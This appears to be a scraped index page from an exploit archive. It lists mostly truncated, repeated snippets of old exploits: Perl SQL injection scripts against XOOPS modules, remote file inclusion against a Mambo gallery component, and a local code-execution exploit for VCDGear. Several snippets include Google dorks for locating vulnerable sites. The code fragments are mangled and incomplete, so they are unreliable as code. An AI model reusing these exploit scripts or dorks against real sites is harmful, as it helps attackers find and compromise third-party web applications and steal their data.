VCDGear <= 3.56 Build 050213 (FILE) Local Code Execution Exploit

/ 0day Discovered by: C-W-M Auther: C-W-M Www.MeftunNet.Com & Www.HackerSecurity.Org Location : Turkey... Attack Vector: SEH overwrite Type: Local Tested on Win2k SP4 English Software: VCDGear v3.56 build 050213 Website: www.vcdgear.com Description: "VCDGear is a program designed to allow a user ...

Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities

Exploit for unknown platform in category web applications ==================================================================== Mambo Component zOOm Media Gallery array , "getMakernoteTextValue" = array , "InterpretMakernotetoHTML" = array ; // Include the Main TIFF and EXIF Tags array...

Mambo Component zOOm Media Gallery &lt;= 2.5 Beta 2 RFI Vulnerabilities

No description provided by source. iskorpitx@metlak from TURKEY comzoom file include / // Create the Makernote Parser and Interpreter Function Array $GLOBALS'MakernoteFunctionArray' = array "ReadMakernoteTag" = array , "getMakernoteTextValue" = array , "InterpretMakernotetoHTML" = array ; //...

Mambo Component zOOm Media Gallery &lt;= 2.5 Beta 2 RFI Vulnerabilities

iskorpitx@metlak from TURKEY comzoom file include / // Create the Makernote Parser and Interpreter Function Array $GLOBALS'MakernoteFunctionArray' = array "ReadMakernoteTag" = array , "getMakernoteTextValue" = array , "InterpretMakernotetoHTML" = array ; // Include the Main TIFF and EXIF Tags arr...

Mambo Component zOOm Media Gallery 2.5 Beta 2 - Remote File Inclusion

Mambo Component zOOm Media Gallery 2.5 Beta 2 - Remote File Inclusion iskorpitx@metlak from TURKEY comzoom file include / // Create the Makernote Parser and Interpreter Function Array $GLOBALS'MakernoteFunctionArray' = array "ReadMakernoteTag" = array , "getMakernoteTextValue" = array ,...

xoopswflinks-sql.txt

!/usr/bin/perl Script Name: XOOPS Module WF-Links : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User ID uid: "; $id = ; chop $id; $target =...

XOOPS Module WF-Links <= 1.03 (cid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ XOOPS Module WF-Links : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit;...

XOOPS Module WF-Links 1.03 - cid SQL Injection

XOOPS Module WF-Links 1.03 - cid SQL Injection !/usr/bin/perl Script Name: XOOPS Module WF-Links : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User ID uid: "; $id = ; chop $id; $targe...

XOOPS Module Rha7 Downloads 1.0 - visit.php SQL Injection

XOOPS Module Rha7 Downloads 1.0 - visit.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module Rha7 Downloads 1.0 visit.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.rha7.com/ ,...

XOOPS Module Rha7 Downloads 1.0 (visit.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Script Name: XOOPS Module Rha7 Downloads 1.0 visit.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.rha7.com/ , www.xoops.org/modules/repository/singlefile.php?cid=92&lid=1525 $$ : Free .. :...

XOOPS Module Rha7 Downloads 1.0 (visit.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= XOOPS Module Rha7 Downloads 1.0 visit.php SQL Injection Exploit ================================================================= !/usr/bin/perl Script Name: XOOPS Module Rh...

XOOPS Module Zmagazine 1.0 (print.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== XOOPS Module Zmagazine 1.0 print.php Remote SQL Injection Exploit =================================================================== !/usr/bin/perl Script Name: XOOPS...

XOOPS Module Zmagazine 1.0 - 'print.php' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module Zmagazine 1.0 print.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : "inurl:/modules/zmagazine/" Result:20.800 Example S. : http://www.google.com.tr/search?q=inurl:/modules/zmagazine/&hl=tr&start=0&sa=N S.Page :...

XOOPS Module eCal 2.24 - display.php SQL Injection

XOOPS Module eCal 2.24 - display.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module eCal 2.24 : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

XOOPS Module Kshop <= 1.17 (id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ XOOPS Module Kshop : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print...

XOOPS Module Camportail &lt;= 1.1 (camid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Script Name: XOOPS Module Camportail = 1.1 camid Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : Dork : inurl:/modules/camportail/ S.Page : http://123rando.com/ $$ : Free .. : ajann,Turkey use IO::Socket; if@ARGV 1...

XOOPS Module Camportail <= 1.1 (camid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== XOOPS Module Camportail : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n";...

XOOPS Module Camportail 1.1 - camid SQL Injection

XOOPS Module Camportail 1.1 - camid SQL Injection !/usr/bin/perl Script Name: XOOPS Module Camportail : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User ID uid: "; $id = ; chop $id;...

XOOPS Module eCal 2.24 - 'display.php' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module eCal 2.24 : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

XOOPS Module Core (viewcat.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ XOOPS Module Core viewcat.php Remote SQL Injection Exploit ============================================================ !/usr/bin/perl Script Name: XOOPS Module Core viewcat.php...